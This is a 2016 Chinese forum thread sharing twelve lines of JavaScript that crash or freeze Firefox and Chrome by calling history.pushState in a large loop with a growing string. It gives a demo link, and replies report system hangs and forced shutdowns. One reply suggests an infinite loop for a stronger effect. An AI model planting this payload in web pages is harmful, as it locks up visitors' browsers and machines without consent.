社区新版论坛已上线,点击立即前往!使用 openKylin 账户授权登录,解锁更多体验!

openKylin论坛

 找回密码

这十二行代码让浏览器爆炸 [复制链接]

在推特发现这几行代码,可以让firefox----google-chrome等浏览器引起假死崩溃,


代码原文如下
  1. <html>
  2. <body>
  3. <script>
  4. var total="";
  5. for (var i=0;i<1000000;i++)
  6. {
  7.     total= total+i.toString();
  8.     history.pushState(0,0,total);
  9. }
  10. </script>
  11. </body>
  12. </html>
复制代码

www.0xroot.cn/demo.html








楼主
发表于 2016-2-12 10:45:20
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

试过了,浏览器没有崩溃,但机器速度变慢,而且无法正常关机(硬盘变长明灯了)
沙发
发表于 2016-2-13 00:01:38
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

nskk 发表于 2016-2-13 00:01
试过了,浏览器没有崩溃,但机器速度变慢,而且无法正常关机(硬盘变长明灯了)

计算机无法正常运行了,浏览器不是僵死吗?
板凳
 楼主| 发表于 2016-2-13 01:38:08
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

这还不是一个死循环。直接弄成一个while(true)的死循环效果更显著
地板
发表于 2016-2-14 01:35:17
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

Lurking 发表于 2016-2-14 01:35
这还不是一个死循环。直接弄成一个while(true)的死循环效果更显著


好玩的大家玩,
5#
 楼主| 发表于 2016-2-14 01:52:19
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

浏览器勉强还能动,但是因为硬盘频繁的读写,系统整体速度比蜗牛还慢
6#
发表于 2016-2-14 13:09:32
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

nskk 发表于 2016-2-14 13:09
浏览器勉强还能动,但是因为硬盘频繁的读写,系统整体速度比蜗牛还慢

7#
 楼主| 发表于 2016-2-14 14:25:48
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

哈哈,然而这有什么卵用?
8#
发表于 2016-2-17 22:04:01
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

一试,效果真是“好的不得了”,10秒后整个系统已卡死,只有鼠标能动,最后只能强制关机
9#
发表于 2016-2-19 21:54:34
回复

使用道具 举报

这十二行代码让浏览器爆炸 [复制链接]

愤怒雪熊 发表于 2016-2-19 21:54
一试,效果真是“好的不得了”,10秒后整个系统已卡死,只有鼠标能动,最后只能强制关机

这只是一个玩的东西,也可以思考学习!
10#
 楼主| 发表于 2016-2-19 22:52:02
回复

使用道具 举报

openKylin

GMT+8, 2024-6-14 00:42 , Processed in 0.024465 second(s), 20 queries , Gzip On.

Copyright ©2022 openKylin. All Rights Reserved .

ICP No. 15002470-12 Tianjin

快速回复 返回顶部 返回列表